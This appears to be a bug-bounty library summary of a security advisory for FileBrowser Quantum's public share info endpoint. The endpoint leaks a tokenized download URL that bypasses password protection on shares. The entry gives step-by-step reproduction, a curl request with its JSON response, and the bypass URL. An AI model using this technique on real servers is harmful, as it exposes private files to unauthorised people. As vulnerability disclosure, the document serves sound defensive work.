# FileBrowser Quantum: Password-Protected Share Bypass via /public/api/share/info

FileBrowser Quantum's public share info endpoint leaks a tokenized downloadURL for password-protected shares, letting unauthenticated attackers download files without the password.

- Payout: Research
- Severity: high
- Program: FileBrowser Quantum
- Found by: mdcoxe, ByteAfterlife
- Disclosed: 2026-03-09
- CVE: CVE-2026-30933
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-525j-95gf-766f
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-525j-95gf-766f
- Tags: area:web domain:web impact:data-leak kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:access-control vuln:auth-bypass vuln:info-disclosure

**Target:** GET /public/api/share/info endpoint of FileBrowser backend
**Root cause:** convertToFrontendShareResponse persists a tokenized downloadURL into the share model, and the public share/info handler returns CommonShare without clearing DownloadURL, exposing the bearer token for password-protected shares.
**Steps:**
1. Create a password-protected share as an authenticated user.
2. Copy the public share URL `http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw`.
3. Query `curl 'http://yourdomain/public/api/share/info?hash=2EBGbXgXg5dpw-nK0RG6vw' -H 'Accept: */*'`; response shows `"hasPassword": true` and a `downloadURL` containing `token=`.
4. Replace `\u0026` with `&` in the downloadURL and open it in a private browser: `http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw&token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D`.
5. File downloads immediately without password prompt.
**How found:** Researcher suspected the fix for CVE-2026-27611 was incomplete, re-tested the public share info endpoint on the patched docker image, and observed the tokenized downloadURL still reflected in the JSON response alongside hasPassword:true.
**Exploitation:** Unauthenticated attacker fetches /public/api/share/info with a known share hash, extracts the tokenized downloadURL, and uses it directly to download the protected file, bypassing the password gate entirely.
**Insight:** When a patch removes token generation in one handler, check whether tokens are still persisted in the share model and reflected by other public endpoints; grep for getShareURL(..., true, token) call sites and any response struct that embeds DownloadURL.

## Proof of concept (copied exactly from the original report)

**Curl request leaking tokenized downloadURL**

```
curl 'http://yourdomain/public/api/share/info?hash=2EBGbXgXg5dpw-nK0RG6vw' -H 'Accept: */*'  `  
  
    Response includes:
    {
        "shareTheme": "default",
        "title": "Shared files - test.md",
        "description": "A share has been sent to you to view or download.",
        "disableSidebar": false,
        "downloadURL": "http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw\u0026token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D",
        "shareURL": "http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw",
        "enforceDarkLightMode": "default",
        "viewMode": "normal",
        "shareType": "normal",
        "sidebarLinks": [
            {
                "name": "Share QR Code and Info",
                "category": "shareInfo",
                "target": "#",
                "icon": "qr_code"
            },
            {
                "name": "Download",
                "category": "download",
                "target": "#",
                "icon": "download"
            },
            {
                "name": "sourceLocation",
                "category": "custom",
                "target": "/srv/test.md",
                "icon": ""
            }
        ],
        "hasPassword": true,
        "disableLoginOption": false,
        "sourceURL": "/srv/test.md"
```

**Tokenized download URL used to bypass password**

```
http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw&token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D
```